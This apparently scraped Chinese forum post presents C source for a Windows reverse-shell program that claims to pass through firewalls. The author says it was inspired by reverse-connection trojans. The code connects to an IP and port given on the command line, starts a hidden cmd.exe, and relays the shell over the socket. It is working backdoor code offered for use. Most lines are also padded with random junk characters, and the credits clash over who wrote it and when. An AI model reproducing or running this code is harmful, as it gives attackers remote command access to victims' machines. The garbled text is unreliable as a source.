Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 wMR,r@}  
a5t&{ajJ  
/* ============================== ddKP3}  
Rebound port in Windows NT o"BED!/  
By wind,2006/7 NO[A00m|OL  
===============================*/ +&VY6(Zj+*  
#include m0ra  
#include }YdC[b$j^  
vA_,TS#Bo  
#pragma comment(lib,"wsock32.lib") mm+V*L{x  
5)XUT`;'){  
void OutputShell(); ,P}7e)3  
SOCKET sClient; hGV_K"~I0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +W[f>3`VQ  
}W:Z>vam+  
void main(int argc,char **argv) 8,IF%Z+LI  
{ e16H@  
WSADATA stWsaData; t{iRCj  
int nRet; k-n`R)p:  
SOCKADDR_IN stSaiClient,stSaiServer; -~
8PI2  
K% FK  
if(argc != 3) &t8,326;  
{ < r~hU*u  
printf("Useage:\n\rRebound DestIP DestPort\n"); CUH u=  
return; `K+%/|!  
} su=MMr>  
|s/N?/qi  
WSAStartup(MAKEWORD(2,2),&stWsaData); Nkj$6(N=zJ  
U"8Hw@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #2%V  

W|fE]RY  
stSaiClient.sin_family = AF_INET; h.#:7d(g  
stSaiClient.sin_port = htons(0); Cn5"zDK$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;E 9o%f:o  
HoAg8siQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RRS)7fFm  
{ D`^wj FF  
printf("Bind Socket Failed!\n"); M&/4SVBF  
return; Q]TZyk  
} tKUW  
yW'{Z]09  
stSaiServer.sin_family = AF_INET; [Lje?M* r  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G?Gf,{#K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +8Q @R)3  
CtN\-E-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wg)Bx#>\L:  
{ B/a`5&G]  
printf("Connect Error!"); Xykoq"dbb  
return; ej_u):G*  
} #KoI8U"  
OutputShell(); |g}r
  
} 8*/;W&7y  
]>[TF'pIAx  
void OutputShell() vS~tr sI  
{ =dNE1rdzNa  
char szBuff[1024]; FNraof @Oy  
SECURITY_ATTRIBUTES stSecurityAttributes; kBA.N
l7
 
OSVERSIONINFO stOsversionInfo; SPlt=*C#_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J1O1! .  
STARTUPINFO stStartupInfo; ($<&H>j0  
char *szShell; &1T)'Bn  
PROCESS_INFORMATION stProcessInformation; 3xz~##  
unsigned long lBytesRead; W"@'}y  
RYvcuA)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %,vq@..^  
zdPJ>PNU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F5:xrcyC  
stSecurityAttributes.lpSecurityDescriptor = 0; Sd^I>;  
stSecurityAttributes.bInheritHandle = TRUE; 2Cy,#X%j>  

z@e(y@  
s'N<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [!;sp~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t{},Th  
M}X
`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pJe!~eyHm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }X8P5c!\  
stStartupInfo.wShowWindow = SW_HIDE; #J/RI[a  
stStartupInfo.hStdInput = hReadPipe; Ig!0A}f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EMe1!)  
a_+3, fP  
GetVersionEx(&stOsversionInfo); G|nBja8vm  
]}'bRq*]  
switch(stOsversionInfo.dwPlatformId) 4"eFR'g  
{ /PSXuVtu5  
case 1: L7<30"7  
szShell = "command.com"; `-U?{U}H  
break; 6B@e[VtG$  
default: Xe&9|M  
szShell = "cmd.exe"; %`s#p` Ol1  
break; R%n*wGi_6b  
}  ]XlBV-@b  
7=yM40  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @0EY5{&  
2dHO!A$RF  
send(sClient,szMsg,77,0); I@VzH(da\  
while(1) 7t<h 'g2  
{ khR[8j..  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .53 M!  
if(lBytesRead) )P9]/y  
{ 4=^Ha%l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bnL!PsG$K,  
send(sClient,szBuff,lBytesRead,0); S)ipkuj X  
} w3 vZ}1|  
else cX1?4e8  
{ .'66]QW  
lBytesRead=recv(sClient,szBuff,1024,0); I__b$  
if(lBytesRead<=0) break; TT(R<hL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PJm@fK(j  
} a,4GE'  
} Zp[>[1@+  
Ii}{{1N6  
return; go=xx.WJ  
}